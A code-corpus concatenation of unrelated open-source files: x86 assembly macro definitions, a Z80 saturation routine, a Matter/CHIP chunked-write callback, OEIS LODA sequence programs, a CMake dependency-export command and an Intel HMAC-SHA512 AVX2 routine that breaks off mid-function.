%endmacro
%macro POP 1
pop %1
%assign stack_offset stack_offset-gprsize
%endmacro
%macro SUB 2
sub %1, %2
%ifidn %1, rsp
%assign stack_offset stack_offset+(%2)
%endif
%endmacro
%macro ADD 2
add %1, %2
%ifidn %1, rsp
%assign stack_offset stack_offset-(%2)
%endif
%endmacro
%macro movifnidn 2
%ifnidn %1, %2
mov %1, %2
%endif
%endmacro
%macro movsxdifnidn 2
%ifnidn %1, %2
movsxd %1, %2
%endif
%endmacro
%macro ASSERT 1
%if (%1) == 0
%error assert failed
%endif
%endmacro
%macro DEFINE_ARGS 0-*
%ifdef n_arg_names
%assign %%i 0
%rep n_arg_names
CAT_UNDEF arg_name %+ %%i, q
CAT_UNDEF arg_name %+ %%i, d
CAT_UNDEF arg_name %+ %%i, w
CAT_UNDEF arg_name %+ %%i, b
CAT_UNDEF arg_name %+ %%i, m
CAT_UNDEF arg_name, %%i
%assign %%i %%i+1
%endrep
%endif
%assign %%i 0
%rep %0
%xdefine %1q r %+ %%i %+ q
%xdefine %1d r %+ %%i %+ d
%xdefine %1w r %+ %%i %+ w
%xdefine %1b r %+ %%i %+ b
%xdefine %1m r %+ %%i %+ m
CAT_XDEFINE arg_name, %%i, %1
%assign %%i %%i+1
%rotate 1
%endrep
%assign n_arg_names %%i
%endmacro
%ifdef WIN64 ; Windows x64 ;=================================================
DECLARE_REG 0, rcx, ecx, cx, cl, ecx
DECLARE_REG 1, rdx, edx, dx, dl, edx
DECLARE_REG 2, r8, r8d, r8w, r8b, r8d
DECLARE_REG 3, r9, r9d, r9w, r9b, r9d
DECLARE_REG 4, rdi, edi, di, dil, [rsp + stack_offset + 40]
DECLARE_REG 5, rsi, esi, si, sil, [rsp + stack_offset + 48]
DECLARE_REG 6, rax, eax, ax, al, [rsp + stack_offset + 56]
%define r7m [rsp + stack_offset + 64]
%define r8m [rsp + stack_offset + 72]
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [rsp + stack_offset + 8 + %1*8]
%endif
%endmacro
%macro PROLOGUE 2-4+ 0 ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
%assign regs_used %2
ASSERT regs_used <= 7
%if regs_used > 4
push r4
push r5
%assign stack_offset stack_offset+16
%endif
WIN64_SPILL_XMM %3
LOAD_IF_USED 4, %1
LOAD_IF_USED 5, %1
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro WIN64_SPILL_XMM 1
%assign xmm_regs_used %1
ASSERT xmm_regs_used <= 16
%if xmm_regs_used > 6
sub rsp, (xmm_regs_used-6)*16+16
%assign stack_offset stack_offset+(xmm_regs_used-6)*16+16
%assign %%i xmm_regs_used
%rep (xmm_regs_used-6)
%assign %%i %%i-1
movdqa [rsp + (%%i-6)*16+8], xmm %+ %%i
%endrep
%endif
%endmacro
%macro WIN64_RESTORE_XMM_INTERNAL 1
%if xmm_regs_used > 6
%assign %%i xmm_regs_used
%rep (xmm_regs_used-6)
%assign %%i %%i-1
movdqa xmm %+ %%i, [%1 + (%%i-6)*16+8]
%endrep
add %1, (xmm_regs_used-6)*16+16
%endif
%endmacro
%macro WIN64_RESTORE_XMM 1
WIN64_RESTORE_XMM_INTERNAL %1
%assign stack_offset stack_offset-(xmm_regs_used-6)*16+16
%assign xmm_regs_used 0
%endmacro
%macro RET 0
WIN64_RESTORE_XMM_INTERNAL rsp
%if regs_used > 4
pop r5
pop r4
%endif
ret
%endmacro
%macro REP_RET 0
%if regs_used > 4 || xmm_regs_used > 6
RET
%else
rep ret
%endif
%endmacro
%elifdef ARCH_X86_64 ; *nix x64 ;=============================================
DECLARE_REG 0, rdi, edi, di, dil, edi
DECLARE_REG 1, rsi, esi, si, sil, esi
DECLARE_REG 2, rdx, edx, dx, dl, edx
DECLARE_REG 3, rcx, ecx, cx, cl, ecx
DECLARE_REG 4, r8, r8d, r8w, r8b, r8d
DECLARE_REG 5, r9, r9d, r9w, r9b, r9d
DECLARE_REG 6, rax, eax, ax, al, [rsp + stack_offset + 8]
%define r7m [rsp + stack_offset + 16]
%define r8m [rsp + stack_offset + 24]
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [rsp - 40 + %1*8]
%endif
%endmacro
%macro PROLOGUE 2-4+ ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
ASSERT %2 <= 7
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro RET 0
ret
%endmacro
%macro REP_RET 0
rep ret
%endmacro
%else ; X86_32 ;==============================================================
DECLARE_REG 0, eax, eax, ax, al, [esp + stack_offset + 4]
DECLARE_REG 1, ecx, ecx, cx, cl, [esp + stack_offset + 8]
DECLARE_REG 2, edx, edx, dx, dl, [esp + stack_offset + 12]
DECLARE_REG 3, ebx, ebx, bx, bl, [esp + stack_offset + 16]
DECLARE_REG 4, esi, esi, si, null, [esp + stack_offset + 20]
DECLARE_REG 5, edi, edi, di, null, [esp + stack_offset + 24]
DECLARE_REG 6, ebp, ebp, bp, null, [esp + stack_offset + 28]
%define r7m [esp + stack_offset + 32]
%define r8m [esp + stack_offset + 36]
%define rsp esp
%macro PUSH_IF_USED 1 ; reg_id
%if %1 < regs_used
push r%1
%assign stack_offset stack_offset+4
%endif
%endmacro
%macro POP_IF_USED 1 ; reg_id
%if %1 < regs_used
pop r%1
%endif
%endmacro
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [esp + stack_offset + 4 + %1*4]
%endif
%endmacro
%macro PROLOGUE 2-4+ ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
%assign regs_used %2
ASSERT regs_used <= 7
PUSH_IF_USED 3
PUSH_IF_USED 4
PUSH_IF_USED 5
PUSH_IF_USED 6
LOAD_IF_USED 0, %1
LOAD_IF_USED 1, %1
LOAD_IF_USED 2, %1
LOAD_IF_USED 3, %1
LOAD_IF_USED 4, %1
LOAD_IF_USED 5, %1
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro RET 0
POP_IF_USED 6
POP_IF_USED 5
POP_IF_USED 4
POP_IF_USED 3
ret
%endmacro
%macro REP_RET 0
%if regs_used > 3
RET
%else
rep ret
%endif
%endmacro
%endif ;======================================================================
%ifndef WIN64
%macro WIN64_SPILL_XMM 1
%endmacro
%macro WIN64_RESTORE_XMM 1
%endmacro
%endif
;=============================================================================
; arch-independent part
;=============================================================================
%assign function_align 16
; Symbol prefix for C linkage
%macro cglobal 1-2+
%xdefine %1 mangle(program_name %+ _ %+ %1)
%xdefine %1.skip_prologue %1 %+ .skip_prologue
%ifidn __OUTPUT_FORMAT__,elf
global %1:function hidden
%else
global %1
%endif
align function_align
%1:
RESET_MM_PERMUTATION ; not really needed, but makes disassembly somewhat nicer
%assign stack_offset 0
%if %0 > 1
PROLOGUE %2
%endif
%endmacro
%macro cextern 1
%xdefine %1 mangle(program_name %+ _ %+ %1)
extern %1
%endmacro
;like cextern, but without the prefix
%macro cextern_naked 1
%xdefine %1 mangle(%1)
extern %1
%endmacro
%macro const 2+
%xdefine %1 mangle(program_name %+ _ %+ %1)
global %1
%1: %2
%endmacro
; This is needed for ELF, otherwise the GNU linker assumes the stack is
; executable by default.
%ifidn __OUTPUT_FORMAT__,elf
SECTION .note.GNU-stack noalloc noexec nowrite progbits
%endif
; merge mmx and sse*
%macro CAT_XDEFINE 3
%xdefine %1%2 %3
%endmacro
%macro CAT_UNDEF 2
%undef %1%2
%endmacro
%macro INIT_MMX 0
%define RESET_MM_PERMUTATION INIT_MMX
%define mmsize 8
%define num_mmregs 8
%define mova movq
%define movu movq
%define movh movd
%define movnta movntq
%assign %%i 0
%rep 8
CAT_XDEFINE m, %%i, mm %+ %%i
CAT_XDEFINE nmm, %%i, %%i
%assign %%i %%i+1
%endrep
%rep 8
CAT_UNDEF m, %%i
CAT_UNDEF nmm, %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro INIT_XMM 0
%define RESET_MM_PERMUTATION INIT_XMM
%define mmsize 16
%define num_mmregs 8
%ifdef ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%define movh movq
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, xmm %+ %%i
CAT_XDEFINE nxmm, %%i, %%i
%assign %%i %%i+1
%endrep
%endmacro
INIT_MMX
; I often want to use macros that permute their arguments. e.g. there's no
; efficient way to implement butterfly or transpose or dct without swapping some
; arguments.
;
; I would like to not have to manually keep track of the permutations:
; If I insert a permutation in the middle of a function, it should automatically
; change everything that follows. For more complex macros I may also have multiple
; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations.
;
; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that
; permutes its arguments. It's equivalent to exchanging the contents of the
; registers, except that this way you exchange the register names instead, so it
; doesn't cost any cycles.
%macro PERMUTE 2-* ; takes a list of pairs to swap
%rep %0/2
%xdefine tmp%2 m%2
%xdefine ntmp%2 nm%2
%rotate 2
%endrep
%rep %0/2
%xdefine m%1 tmp%2
%xdefine nm%1 ntmp%2
%undef tmp%2
%undef ntmp%2
%rotate 2
%endrep
%endmacro
%macro SWAP 2-* ; swaps a single chain (sometimes more concise than pairs)
%rep %0-1
%ifdef m%1
%xdefine tmp m%1
%xdefine m%1 m%2
%xdefine m%2 tmp
CAT_XDEFINE n, m%1, %1
CAT_XDEFINE n, m%2, %2
%else
; If we were called as "SWAP m0,m1" rather than "SWAP 0,1" infer the original numbers here.
; Be careful using this mode in nested macros though, as in some cases there may be
; other copies of m# that have already been dereferenced and don't get updated correctly.
%xdefine %%n1 n %+ %1
%xdefine %%n2 n %+ %2
%xdefine tmp m %+ %%n1
CAT_XDEFINE m, %%n1, m %+ %%n2
CAT_XDEFINE m, %%n2, tmp
CAT_XDEFINE n, m %+ %%n1, %%n1
CAT_XDEFINE n, m %+ %%n2, %%n2
%endif
%undef tmp
%rotate 1
%endrep
%endmacro
; If SAVE_MM_PERMUTATION is placed at the end of a function and given the
; function name, then any later calls to that function will automatically
; load the permutation, so values can be returned in mmregs.
%macro SAVE_MM_PERMUTATION 1 ; name to save as
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE %1_m, %%i, m %+ %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro LOAD_MM_PERMUTATION 1 ; name to load from
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, %1_m %+ %%i
CAT_XDEFINE n, m %+ %%i, %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro call 1
call %1
%ifdef %1_m0
LOAD_MM_PERMUTATION %1
%endif
%endmacro
; Substitutions that reduce instruction size but are functionally equivalent
%macro add 2
%ifnum %2
%if %2==128
sub %1, -128
%else
add %1, %2
%endif
%else
add %1, %2
%endif
%endmacro
%macro sub 2
%ifnum %2
%if %2==128
add %1, -128
%else
sub %1, %2
%endif
%else
sub %1, %2
%endif
%endmacro
|
SECTION code_l
PUBLIC l_utod_hl
l_utod_hl:
; convert unsigned int to signed int, saturate if necessary
;
; enter : hl = unsigned int
;
; exit : hl = int, maximum $7fff
; carry unaffected
;
; uses : f, hl
bit 7,h
ret z
ld hl,$7fff
ret
|
/*
*
* Copyright (c) 2022 Project CHIP Authors
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <app/ChunkedWriteCallback.h>
namespace chip {
namespace app {
void ChunkedWriteCallback::OnResponse(const WriteClient * apWriteClient, const ConcreteDataAttributePath & aPath, StatusIB aStatus)
{
// We may send a chunked list. To make the behavior consistent whether a list is being chunked or not,
// we merge the write responses for a chunked list here and provide our consumer with a single status response.
if (mLastAttributePath.HasValue())
{
// This is not the first write response.
if (IsAppendingToLastItem(aPath))
{
// This is a response on the same path as what we already have stored. Report the first
// failure status we encountered, and ignore subsequent ones.
if (mAttributeStatus.IsSuccess())
{
mAttributeStatus = aStatus;
}
return;
}
// This is a response to another attribute write. Report the final result of last attribute write.
callback->OnResponse(apWriteClient, mLastAttributePath.Value(), mAttributeStatus);
}
// This is the first report for a new attribute. We assume it will never be a list item operation.
if (aPath.IsListItemOperation())
{
aStatus = StatusIB(CHIP_ERROR_INCORRECT_STATE);
}
mLastAttributePath.SetValue(aPath);
mAttributeStatus = aStatus;
// For the last status in the response, we will call the application callback in OnDone()
}
void ChunkedWriteCallback::OnError(const WriteClient * apWriteClient, CHIP_ERROR aError)
{
callback->OnError(apWriteClient, aError);
}
void ChunkedWriteCallback::OnDone(WriteClient * apWriteClient)
{
if (mLastAttributePath.HasValue())
{
// We have a cached status that has yet to be reported to the application so report it now.
// If we failed to receive the response, or we received a malformed response, OnResponse won't be called,
// mLastAttributePath will be Missing() in this case.
callback->OnResponse(apWriteClient, mLastAttributePath.Value(), mAttributeStatus);
}
callback->OnDone(apWriteClient);
}
bool ChunkedWriteCallback::IsAppendingToLastItem(const ConcreteDataAttributePath & aPath)
{
if (!aPath.IsListItemOperation())
{
return false;
}
if (!mLastAttributePath.HasValue() || !(mLastAttributePath.Value() == aPath))
{
return false;
}
return aPath.mListOp == ConcreteDataAttributePath::ListOperation::AppendItem;
}
} // namespace app
} // namespace chip
|
; A005720: Quadrinomial coefficients.
; 1,10,44,135,336,728,1428,2598,4455,7282,11440,17381,25662,36960,52088,72012,97869,130986,172900,225379,290444,370392,467820,585650,727155,895986,1096200,1332289,1609210,1932416,2307888,2742168,3242393,3816330,4472412,5219775
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
add $4,1
mov $5,0
mov $7,$0
lpb $4
mov $0,$7
sub $4,1
sub $0,$4
mov $8,$0
add $8,1
mov $9,0
mov $10,$0
lpb $8
mov $0,$10
sub $8,1
sub $0,$8
add $0,4
bin $0,3
mov $6,4
add $6,$0
sub $6,7
add $9,$6
lpe
add $5,$9
lpe
add $1,$5
lpe
mov $0,$1
|
/*=========================================================================
Program: CMake - Cross-Platform Makefile Generator
Module: $RCSfile: cmExportLibraryDependencies.cxx,v $
Language: C++
Date: $Date: 2008-05-01 16:35:39 $
Version: $Revision: 1.22.2.1 $
Copyright (c) 2002 Kitware, Inc., Insight Consortium. All rights reserved.
See Copyright.txt or http://www.cmake.org/HTML/Copyright.html for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notices for more information.
=========================================================================*/
#include "cmExportLibraryDependencies.h"
#include "cmGlobalGenerator.h"
#include "cmLocalGenerator.h"
#include "cmGeneratedFileStream.h"
#include "cmake.h"
#include "cmVersion.h"
#include <cmsys/auto_ptr.hxx>
bool cmExportLibraryDependenciesCommand
::InitialPass(std::vector<std::string> const& args, cmExecutionStatus &)
{
if(args.size() < 1 )
{
this->SetError("called with incorrect number of arguments");
return false;
}
// store the arguments for the final pass
this->Filename = args[0];
this->Append = false;
if(args.size() > 1)
{
if(args[1] == "APPEND")
{
this->Append = true;
}
}
return true;
}
void cmExportLibraryDependenciesCommand::FinalPass()
{
// export_library_dependencies() shouldn't modify anything
// ensure this by calling a const method
this->ConstFinalPass();
}
void cmExportLibraryDependenciesCommand::ConstFinalPass() const
{
// Use copy-if-different if not appending.
cmsys::auto_ptr<std::ofstream> foutPtr;
if(this->Append)
{
cmsys::auto_ptr<std::ofstream> ap(
new std::ofstream(this->Filename.c_str(), std::ios::app));
foutPtr = ap;
}
else
{
cmsys::auto_ptr<cmGeneratedFileStream> ap(
new cmGeneratedFileStream(this->Filename.c_str(), true));
ap->SetCopyIfDifferent(true);
foutPtr = ap;
}
std::ostream& fout = *foutPtr.get();
if (!fout)
{
cmSystemTools::Error("Error Writing ", this->Filename.c_str());
cmSystemTools::ReportLastSystemError("");
return;
}
// Collect dependency information about all library targets built in
// the project.
cmake* cm = this->Makefile->GetCMakeInstance();
cmGlobalGenerator* global = cm->GetGlobalGenerator();
const std::vector<cmLocalGenerator *>& locals = global->GetLocalGenerators();
std::map<cmStdString, cmStdString> libDepsOld;
std::map<cmStdString, cmStdString> libDepsNew;
std::map<cmStdString, cmStdString> libTypes;
for(std::vector<cmLocalGenerator *>::const_iterator i = locals.begin();
i != locals.end(); ++i)
{
const cmLocalGenerator* gen = *i;
const cmTargets &tgts = gen->GetMakefile()->GetTargets();
for(cmTargets::const_iterator l = tgts.begin();
l != tgts.end(); ++l)
{
// Get the current target.
cmTarget const& target = l->second;
// Skip non-library targets.
if(target.GetType() < cmTarget::STATIC_LIBRARY
|| target.GetType() > cmTarget::MODULE_LIBRARY)
{
continue;
}
// Construct the dependency variable name.
std::string targetEntry = target.GetName();
targetEntry += "_LIB_DEPENDS";
// Construct the dependency variable value. It is safe to use
// the target GetLinkLibraries method here because this code is
// called at the end of configure but before generate so library
// dependencies have yet to be analyzed. Therefore the value
// will be the direct link dependencies.
std::string valueOld;
std::string valueNew;
cmTarget::LinkLibraryVectorType const& libs = target.GetLinkLibraries();
for(cmTarget::LinkLibraryVectorType::const_iterator li = libs.begin();
li != libs.end(); ++li)
{
std::string ltVar = li->first;
ltVar += "_LINK_TYPE";
std::string ltValue;
switch(li->second)
{
case cmTarget::GENERAL:
valueNew += "general;";
ltValue = "general";
break;
case cmTarget::DEBUG:
valueNew += "debug;";
ltValue = "debug";
break;
case cmTarget::OPTIMIZED:
valueNew += "optimized;";
ltValue = "optimized";
break;
}
std::string lib = li->first;
if(cmTarget* libtgt = global->FindTarget(0, lib.c_str()))
{
// Handle simple output name changes. This command is
// deprecated so we do not support full target name
// translation (which requires per-configuration info).
if(const char* outname = libtgt->GetProperty("OUTPUT_NAME"))
{
lib = outname;
}
}
valueOld += lib;
valueOld += ";";
valueNew += lib;
valueNew += ";";
std::string& ltEntry = libTypes[ltVar];
if(ltEntry.empty())
{
ltEntry = ltValue;
}
else if(ltEntry != ltValue)
{
ltEntry = "general";
}
}
libDepsNew[targetEntry] = valueNew;
libDepsOld[targetEntry] = valueOld;
}
}
// Generate dependency information for both old and new style CMake
// versions.
const char* vertest =
"\"${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}\" GREATER 2.4";
fout << "# Generated by CMake " << cmVersion::GetCMakeVersion() << "\n\n";
fout << "IF(" << vertest << ")\n";
fout << " # Information for CMake 2.6 and above.\n";
for(std::map<cmStdString, cmStdString>::const_iterator
i = libDepsNew.begin();
i != libDepsNew.end(); ++i)
{
if(!i->second.empty())
{
fout << " SET(\"" << i->first << "\" \"" << i->second << "\")\n";
}
}
fout << "ELSE(" << vertest << ")\n";
fout << " # Information for CMake 2.4 and lower.\n";
for(std::map<cmStdString, cmStdString>::const_iterator
i = libDepsOld.begin();
i != libDepsOld.end(); ++i)
{
if(!i->second.empty())
{
fout << " SET(\"" << i->first << "\" \"" << i->second << "\")\n";
}
}
for(std::map<cmStdString, cmStdString>::const_iterator i = libTypes.begin();
i != libTypes.end(); ++i)
{
if(i->second != "general")
{
fout << " SET(\"" << i->first << "\" \"" << i->second << "\")\n";
}
}
fout << "ENDIF(" << vertest << ")\n";
return;
}
|
; A110548: One of the three ordered sets of positive integers that solves the minimal magic die puzzle.
; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,25,43
mov $2,$0
add $0,3
mov $3,6
lpb $0,1
sub $0,1
add $3,$0
trn $3,11
trn $5,1
mov $4,$5
mov $5,$3
mov $6,1
add $6,$4
add $6,2
lpe
mov $1,4
add $1,$6
add $1,$3
lpb $2,1
add $1,1
sub $2,1
lpe
sub $1,6
|
;;
;; Copyright (c) 2012-2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "job_aes_hmac.asm"
%include "mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
%include "include/memcpy.asm"
%include "include/const.inc"
extern sha512_x4_avx2
section .data
default rel
align 16
byteswap: ;ddq 0x08090a0b0c0d0e0f0001020304050607
dq 0x0001020304050607, 0x08090a0b0c0d0e0f
section .text
%ifndef FUNC
%define FUNC submit_job_hmac_sha_512_avx2
%define SHA_X_DIGEST_SIZE 512
%endif
%if 1
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define reg3 rcx
%define reg4 rdx
%else
%define arg1 rcx
%define arg2 rdx
%define reg3 rdi
%define reg4 rsi
%endif
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in rbp, r13, r14, r16
%define last_len rbp
%define idx rbp
%define p r11
%define start_offset r11
%define unused_lanes rbx
%define tmp4 rbx
%define job_rax rax
%define len rax
%define size_offset reg3
%define tmp2 reg3
%define lane reg4
%define tmp3 reg4
%define extra_blocks r8
%define tmp r9
%define p2 r9
%define lane_data r10
%endif
; Define stack usage
; we clobber rbx, rsi, rdi, rbp; called routine also clobbers r12
struc STACK
_gpr_save: resq 5
_rsp_save: resq 1
endstruc
; JOB* FUNC(MB_MGR_HMAC_sha_512_OOO *state, JOB_AES_HMAC *job)
; arg 1 : rcx : state
; arg 2 : rdx : job
MKGLOBAL(FUNC,function,internal)
FUNC:
mov rax, rsp
sub rsp, STACK_size
and rsp, -32
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
%ifndef LINUX
mov [rsp + _gpr_save + 8*3], rsi
mov [rsp + _gpr_save + 8*4], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
mov unused_lanes, [state + _unused_lanes_sha512]
movzx lane, BYTE(unused_lanes)
shr unused_lanes, 8
imul lane_data, lane, _SHA512_LANE_DATA_size
lea lane_data, [state + _ldata_sha512 + lane_data]
mov [state + _unused_lanes_sha512], unused_lanes
mov len, [job + _msg_len_to_hash_in_bytes]
mov tmp, len
shr tmp, 7 ; divide by 128, len in terms of blocks
mov [lane_data + _job_in_lane_sha512], job
mov dword [lane_data + _outer_done_sha512], 0
vmovdqa xmm0, [state + _lens_sha512]
XVPINSRW xmm0, xmm1, extra_blocks, lane, tmp, scale_x16
vmovdqa [state + _lens_sha512], xmm0
mov last_len, len
and last_len, 127
lea extra_blocks, [last_len + 17 + 127]
shr extra_blocks, 7
mov [lane_data + _extra_blocks_sha512], DWORD(extra_blocks)
mov p, [job + _src]
add p, [job + _hash_start_src_offset_in_bytes]
mov [state + _args_data_ptr_sha512 + PTR_SZ*lane], p
cmp len, 128
jb copy_lt128
fast_copy:
add p, len
vmovdqu ymm0, [p - 128 + 0*32]
vmovdqu ymm1, [p - 128 + 1*32]
vmovdqu ymm2, [p - 128 + 2*32]
vmovdqu ymm3, [p - 128 + 3*32]
vmovdqu [lane_data + _extra_block_sha512 + 0*32], ymm0
vmovdqu [lane_data + _extra_block_sha512 + 1*32], ymm1
vmovdqu [lane_data + _extra_block_sha512 + 2*32], ymm2
vmovdqu [lane_data + _extra_block_sha512 + 3*32], ymm3
end_fast_copy:
mov size_offset, extra_blocks
shl size_offset, 7
sub size_offset, last_len
add size_offset, 128-8
mov [lane_data + _size_offset_sha512], DWORD(size_offset)
mov start_offset, 128
sub start_offset, last_len
mov [lane_data + _start_offset_sha512], DWORD(start_offset)
lea tmp, [8*128 + 8*len]
bswap tmp
mov [lane_data + _extra_block_sha512 + size_offset], tmp
mov tmp, [job + _auth_key_xor_ipad]
%assign I 0
%rep 4
vmovdqu xmm0, [tmp + I * 2 * SHA512_DIGEST_WORD_SIZE]
vmovq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*lane + (2*I + 0)*SHA512_DIGEST_ROW_SIZE], xmm0
vpextrq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*lane + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], xmm0, 1
%assign I (I+1)
%endrep
test len, ~127
jnz ge128_bytes
lt128_bytes:
vmovdqa xmm0, [state + _lens_sha512]
XVPINSRW xmm0, xmm1, tmp, lane, extra_blocks, scale_x16
vmovdqa [state + _lens_sha512], xmm0
lea tmp, [lane_data + _extra_block_sha512 + start_offset]
mov [state + _args_data_ptr_sha512 + PTR_SZ*lane], tmp ;; 8 to hold a UINT8
mov dword [lane_data + _extra_blocks_sha512], 0
ge128_bytes:
cmp unused_lanes, 0xff
jne return_null
jmp start_loop
align 16
start_loop:
; Find min length
vmovdqa xmm0, [state + _lens_sha512]
vphminposuw xmm1, xmm0
vpextrw DWORD(len2), xmm1, 0 ; min value
vpextrw DWORD(idx), xmm1, 1 ; min index (0...1)
cmp len2, 0
je len_is_0
vpshuflw xmm1, xmm1, 0x00
vpsubw xmm0, xmm0, xmm1
vmovdqa [state + _lens_sha512], xmm0
; "state" and "args" are the same address, arg1
; len is arg2
call sha512_x4_avx2
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _SHA512_LANE_DATA_size
lea lane_data, [state + _ldata_sha512 + lane_data]
mov DWORD(extra_blocks), [lane_data + _extra_blocks_sha512]
cmp extra_blocks, 0
jne proc_extra_blocks
cmp dword [lane_data + _outer_done_sha512], 0
jne end_loop
proc_outer:
mov dword [lane_data + _outer_done_sha512], 1
mov DWORD(size_offset), [lane_data + _size_offset_sha512]
mov qword [lane_data + _extra_block_sha512 + size_offset], 0
vmovdqa xmm0, [state + _lens_sha512]
XVPINSRW xmm0, xmm1, tmp, idx, 1, scale_x16
vmovdqa [state + _lens_sha512], xmm0
lea tmp, [lane_data + _outer_block_sha512]
mov job, [lane_data + _job_in_lane_sha512]
mov [state + _args_data_ptr_sha512 + PTR_SZ*idx], tmp
%assign I 0
%rep (SHA_X_DIGEST_SIZE / (8 * 16))
vmovq xmm0, [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 0)*SHA512_DIGEST_ROW_SIZE]
vpinsrq xmm0, [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], 1
vpshufb xmm0, [rel byteswap]
vmovdqa [lane_data + _outer_block_sha512 + I * 2 * SHA512_DIGEST_WORD_SIZE], xmm0
%assign I (I+1)
%endrep
mov tmp, [job + _auth_key_xor_opad]
%assign I 0
%rep 4
vmovdqu xmm0, [tmp + I * 16]
vmovq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I+0)*SHA512_DIGEST_ROW_SIZE], xmm0
vpextrq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], xmm0, 1
%assign I (I+1)
%endrep
jmp start_loop
align 16
proc_extra_blocks:
mov DWORD(start_offset), [lane_data + _start_offset_sha512]
vmovdqa xmm0, [state + _lens_sha512]
XVPINSRW xmm0, xmm1, tmp, idx, extra_blocks, scale_x16
vmovdqa [state + _lens_sha512], xmm0
lea tmp, [lane_data + _extra_block_sha512 + start_offset]
mov [state + _args_data_ptr_sha512 + PTR_SZ*idx], tmp ;; idx is index of shortest length message
mov dword [lane_data + _extra_blocks_sha512], 0
jmp start_loop
align 16
copy_lt128:
;; less than one message block of data
;; destination extra block but backwards by len from where 0x80 pre-populated
lea p2, [lane_data + _extra_block + 128]
sub p2, len
memcpy_avx2_128_1 p2, p, len, tmp4, tmp2, ymm0, ymm1, ymm2, ymm3
mov unused_lanes, [state + _unused_lanes_sha512]
jmp end_fast_copy
return_null:
xor job_rax, job_rax
jmp return
align 16
end_loop:
mov job_rax, [lane_data + _job_in_lane_sha512]
mov unused_lanes, [state + _unused_lanes_sha512]
mov qword [lane_data + _job_in_lane_sha512], 0
or dword [job_rax + _status], STS_COMPLETED_HMAC
shl unused_lanes, 8
or unused_lanes, idx
mov [state + _unused_lanes_sha512], unused_lanes
mov p, [job_rax + _auth_tag_output]
vzeroupper
%if (SHA_X_DIGEST_SIZE != 384)
cmp qword [job_rax + _auth_tag_output_len_in_bytes], 32
jne copy_full_digest
%else
cmp qword [job_rax + _auth_tag_output_len_in_bytes], 24
jne copy_full_digest
%endif
